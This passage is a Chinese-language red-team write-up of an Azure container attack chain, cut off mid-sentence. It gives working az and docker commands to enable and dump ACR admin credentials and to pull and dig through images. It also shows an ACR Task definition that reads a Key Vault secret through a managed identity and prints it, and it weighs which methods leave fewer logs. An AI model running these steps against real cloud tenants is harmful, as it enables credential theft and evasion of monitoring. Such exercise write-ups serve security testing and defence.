云上攻防 Azure 容器之 ACR-ACI 攻击链

前言 云上攻防做久了会有存在一个习惯，拿到凭据就直奔 VM而后翻数据、翻 IMDS，容器端口不对外往往被当成跑代码的黑盒。Azure 容器相关服务（ACR、ACI、ACR Tasks）攻击面经常被忽略，传统替换镜像插入反弹 shell 的方案在云环境很不稳定，对此可用一种新的攻击手段：把 IMDS 元数据窃取逻辑写进容器 Entrypoint，不需要持久反弹 shell，直接外排密钥。 这篇文章记录的是一次以密钥为目标的演练。整个过程最值得写的不是哪条命令好用，而是常规手段 ENTRYPOINT 反弹 Shell 反复失败后思路的转变，变成了让容器自己在启动时替我干活，于是整条链路的性质都变了。 场景 起点：从供应链的配置拿到一个低权限账号，容器上的权限为 Contributor 目标：拿到 Key Vault 里那个名为 Image 的密钥 阶段一：权限测绘与注册表接管 1、拿当前登录账号的 Entra ID，而后查询自己当前账号在 ACR 上的角色分配，结果为 Contributor 。列出租户下全部 ACR 注册表。 az ad signed-in-user show --query id -o tsv az role assignment list --assignee $(az ad signed-in-user show --query id -o tsv) --scope $(az acr show -n registryfr --query id -o tsv) -o table az acr list 2、检查 ACR 管理员账号是否开启，结果为 true 。如果管理员未开启，攻击者可以直接打开 Admin 账号（需要 Microsoft.ContainerRegistry/registries/write 权限） az acr show -g -n --query "adminUserEnabled" az acr update --resource-group --name --admin-enabled true 3、获取 ACR 管理员账号的密码，尝试登陆 az acr credential show -n -o tsv --query "passwords[0].value" docker login $ACR_NAME.azurecr.io -u -p 使用凭证成功登陆 docker，后续可以管理员用户身份列出镜像 阶段二：镜像仓库就是代码仓库 企业镜像里塞进去的东西比想象中多：调试用的环境变量、硬编码的连接串、被 COPY 进去的 .env 、构建时残留的凭证。 1、把本地 Docker 镜像推送到 Azure 容器注册表（ACR，Azure Container Registry），之后再从 ACR 拉回来 docker tag .azurecr.io/: && docker push .azurecr.io/: docker images docker pull $ACR_NAME.azurecr.io/: 2、接着可以用下列手段，查看镜像镜像内文件 这些手段只看最终文件系统 + Config.Env ，看不到构建期 ARG、被覆盖的层和中间层 dive .azurecr.io/: cid=$(docker create .azurecr.io/:) docker cp $cid:/ ./extracted && docker rm $cid docker inspect .azurecr.io/: | jq '.[0].Config.Env[]' 结果是，这次没在镜像里挖到 Key Vault 的访问凭据。 阶段三：拿 secret 的几种姿势 方式一：ACR Task 权限前提： registries/tasks/write ，且目标任务挂着有 vault 读权限的托管身份。 特点：不碰容器运行时，不产生可疑进程，证据只在 ARM 审计日志和构建日志里。从 Azure KeyVault 读取密钥，在云端执行命令，靠托管身份去访问 KeyVault 拿秘钥。 1、查看 ACR Task 绑定的托管身份信息 az acr task show --registry --name --query identity 如果返回 SystemAssigned 且有 principalId，那么这个任务的身份就有它自己的 RBAC。而 Task 的定义文件里， secrets 段原生支持从 Key Vault 挂载， steps 段原生支持把 secret 打印出来： 2、创建任务文件 acr-task.yaml ，ACR Task 会使用托管身份去拉取 AKV 密钥，执行 bash 打印 secret version: v1.1.0 secrets: - id: keyvault: https://.vault.azure.net/secrets/ steps: - command: bash echo 'Secret={{.Secrets.}}' 3、手动触发执行这个 ACR Task az acr task create --registry --name --file acr-task.yaml --context /dev/null --assign-identity az acr task run --registry --name --assign-identity ：给这个 Task 自动创建系统分配托管身份，也就是前面 az acr task show 查询的 identity。 这条路是可行，它证明了这个订阅里确实存在托管身份到 Key Vault 的信任链，但构建会留下日志，可以的话还是尝试其他方式。 方式二：经典反弹 Shell 前提权限 ： registries/push/write + containerGroups/restart/action ，另加一条可用的出网回连通道。 特征 ：交互性强，但依赖双向长连接，对出口策略极其敏感。 这是教科书方案，也是我先试的方案，它在这个环境里失败了。 通道建设：Token + Scope Map admin 凭据能用，但它动静大、没有过期时间，不适合作为后续反复推镜像的通道。更稳的做法是造一个仅限特定仓库的 token：建 ACR 仓库级细粒度访问令牌（Token），搭配范围映射 (scope-map)，权限可以